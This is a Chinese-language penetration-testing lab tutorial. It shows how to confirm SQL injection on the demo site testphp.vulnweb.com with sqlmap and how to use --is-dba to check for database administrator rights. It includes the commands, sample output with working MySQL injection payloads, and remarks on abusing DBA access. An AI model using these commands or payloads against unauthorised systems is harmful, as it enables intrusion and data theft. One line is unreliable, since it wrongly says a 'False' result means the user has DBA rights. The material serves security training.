使用 sqlmap 检查数据库管理员权限

Kali LinuxBeginner
立即练习

引言

在网络安全和渗透测试领域,了解你对被攻陷系统所获得的访问权限级别至关重要。在处理数据库系统时,最关键的信息之一是当前数据库用户是否拥有数据库管理员 (DBA) 权限。DBA 用户通常对数据库拥有广泛的控制权,包括创建、修改和删除数据库、表和用户的能力,以及读取和写入敏感数据。

sqlmap 是一个开源的渗透测试工具,它自动化了检测和利用 SQL 注入漏洞以及接管数据库服务器的过程。除了查找漏洞之外,sqlmap 还提供了多种功能来枚举和与被攻陷的数据库进行交互。其中一项关键功能是检查当前数据库用户是否拥有 DBA 权限的能力。

本实验将指导你使用 sqlmap 来确定当前数据库用户是否拥有 DBA 权限。你将学习如何建立成功的 SQL 注入,理解 DBA 权限的重要性,然后使用 sqlmap--is-dba 标志来执行检查。最后,你将解读结果以了解访问权限级别。

在目标上建立成功的注入

在此步骤中,我们将模拟在目标上建立成功的 SQL 注入。在本实验中,我们将使用一个已知的易受攻击的 URL,sqlmap 可以对其进行利用。这一初始步骤至关重要,因为 sqlmap 需要一个有效的注入点来与数据库交互并执行进一步的枚举,包括检查 DBA 权限。

在终端中打开 ~/project 目录。我们将使用一个演示用的虚拟 URL。在实际场景中,你将通过侦察和手动测试来识别一个易受攻击的 URL。

执行以下 sqlmap 命令来确认成功的注入。我们将使用简单的 --url--batch 标志来自动化该过程并接受默认选项。

sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

你应该会看到 sqlmap 执行各种测试,并最终确认目标易受 SQL 注入攻击。查找指示成功检测到漏洞的输出。

        _
       ___| |_____ ___ ___ ___ {1.6.11.1#dev}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --[sqlmap]--
                         |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[SNIP]

[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
sqlmap identified the following injection point(s) with a total of 18 HTTP(s) requests:
---
Parameter: cat (GET)
    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7178717871,(SELECT (ELT(1337=1337,1))),0x717a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query all columns - 10 columns
    Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--

    Type: Stacked queries
    Title: MySQL > 5.0.11 stacked queries (comment)
    Payload: http://testphp.vulnweb.com/listproducts.php?cat=1;SELECT SLEEP(5)--

    Type: Time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'

输出证实 cat 参数易受多种 SQL 注入类型的攻击。这意味着 sqlmap 现在可以与数据库进行交互。

理解 DBA 权限的重要性

在此步骤中,我们将简要讨论在安全评估或渗透测试的背景下,检查 DBA 权限为何重要。理解拥有 DBA 访问权限的含义有助于你确定行动的优先级,并评估成功利用的潜在影响。

数据库管理员 (DBA) 通常在数据库系统中拥有最高级别的权限。这些权限通常包括:

  • 对数据的完全控制: 读取、写入、修改和删除数据库中任何数据的能力,包括用户凭据、财务记录或个人数据等敏感信息。
  • 模式修改: 创建、更改或删除表、视图、存储过程和其他数据库对象的能力。这可能导致数据被篡改甚至拒绝服务。
  • 用户管理: 创建、修改或删除其他数据库用户以及分配或撤销其权限的能力。这可用于创建后门或进一步提升权限。
  • 系统级访问(在某些情况下): 根据数据库系统及其配置,DBA 权限可能扩展到执行操作系统命令或访问服务器上的文件,从而导致系统完全被攻陷。

如果你发现当前数据库用户拥有 DBA 权限,这标志着一个关键漏洞。这意味着你对数据库拥有广泛的控制权,可以利用这一点进行进一步的攻击、数据泄露或系统攻陷。反之,如果用户没有 DBA 权限,你的访问权限将受到限制,你可能需要寻找权限提升的机会。

此步骤不涉及任何直接命令,但对于理解后续步骤的上下文至关重要。

使用 --is-dba 标志检查当前用户权限

在此步骤中,我们将了解用于检查 DBA 权限的特定 sqlmap 标志:--is-dba。此标志旨在快速确定通过 SQL 注入识别出的当前数据库用户是否拥有管理员权限。

--is-dba 标志是一个布尔选项。使用时,sqlmap 将对数据库执行一系列检查,以确定用户是否拥有 DBA 级别的权限。结果将是简单的 TrueFalse 输出,指示这些权限是否存在。

需要注意的是,sqlmap 需要在能够有效使用 --is-dba 标志之前成功建立注入点(如我们在步骤 1 中所做的那样)。没有有效的注入,sqlmap 无法与数据库通信以执行必要的检查。

使用此标志的语法很简单:

sqlmap --url "<target_url>" --is-dba

其中 <target_url> 是你识别出的易受攻击的 URL。在我们的例子中,它将是 http://testphp.vulnweb.com/listproducts.php?cat=1

此步骤也主要是概念性的,为你准备下一步的实际执行。

执行命令检查 DBA 状态

现在我们了解了 --is-dba 标志,让我们执行 sqlmap 命令来检查目标上的 DBA 权限。

在终端中打开 ~/project 目录。我们将使用与步骤 1 相同的易受攻击的 URL。

执行以下命令:

sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba --batch

再次添加 --batch 标志是为了自动化过程并接受默认选项,从而防止 sqlmap 在过程中询问用户输入。

sqlmap 现在将执行其检查。仔细观察输出。你应该会看到 sqlmap 正在测试各种权限,并最终提供关于 DBA 状态的明确答案。

        _
       ___| |_____ ___ ___ ___ {1.6.11.1#dev}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --[sqlmap]--
                         |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[SNIP]

[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'
[INFO] checking if the current user is DBA
[INFO] the current user is not a DBA
[INFO] fetched data:
[INFO] the current user is DBA: False

在输出中,查找明确显示“the current user is DBA: False”或“the current user is DBA: True”的行。这就是我们检查的结果。

解释 sqlmap 的 True 或 False 结果

在最后一步,我们将解释从 sqlmap--is-dba 检查中获得的 TrueFalse 结果,并理解其含义。

在执行完步骤 4 中的命令后,sqlmap 将输出类似以下的行:

[INFO] the current user is DBA: False

[INFO] the current user is DBA: True

解释结果:

  • [INFO] the current user is DBA: False:这表明当前数据库用户(sqlmap 通过该用户与数据库进行交互)拥有数据库管理员(Database Administrator)权限。虽然你已成功利用了 SQL 注入,但你的访问权限是有限的。在实际的渗透测试中,这意味着你需要寻找其他途径,例如权限提升技术,以获得更高的访问权限。
  • [INFO] the current user is DBA: True:这表明当前数据库用户确实拥有数据库管理员(Database Administrator)权限。这是一个重要的发现,因为它意味着对数据库拥有广泛的控制权。拥有 DBA 权限,你可能能够:
    • 读取、修改或删除任何数据。
    • 创建具有管理员权限的新用户。
    • 执行操作系统命令(如果数据库配置允许)。
    • 执行进一步的枚举以发现敏感信息。

对于本实验中使用的 http://testphp.vulnweb.com 目标,预期的输出是 False,这意味着 sqlmap 操作的用户没有 DBA 权限。在实际应用中,数据库用户通常会配置为遵循最小权限原则,这种情况很常见。

理解这个结果对于规划你在安全评估中的下一步至关重要。它有助于你评估 SQL 注入漏洞的严重性以及对目标系统的潜在影响。

总结

在本实验中,你已成功学会如何使用 sqlmap 检查数据库管理员(DBA)权限。你首先在目标上建立了一个成功的 SQL 注入,这是 sqlmap 与数据库交互的先决条件。然后,我们讨论了在安全环境中识别 DBA 权限的关键重要性,并强调了此类权限对数据库系统授予的广泛控制权。

你了解了用于此目的的特定 sqlmap 标志 --is-dba。最后,你执行了命令并解释了 TrueFalse 的结果,理解了它对后续渗透测试或安全评估的意义。这项技能对于准确评估 SQL 注入漏洞的影响以及在网络安全活动中规划后续行动至关重要。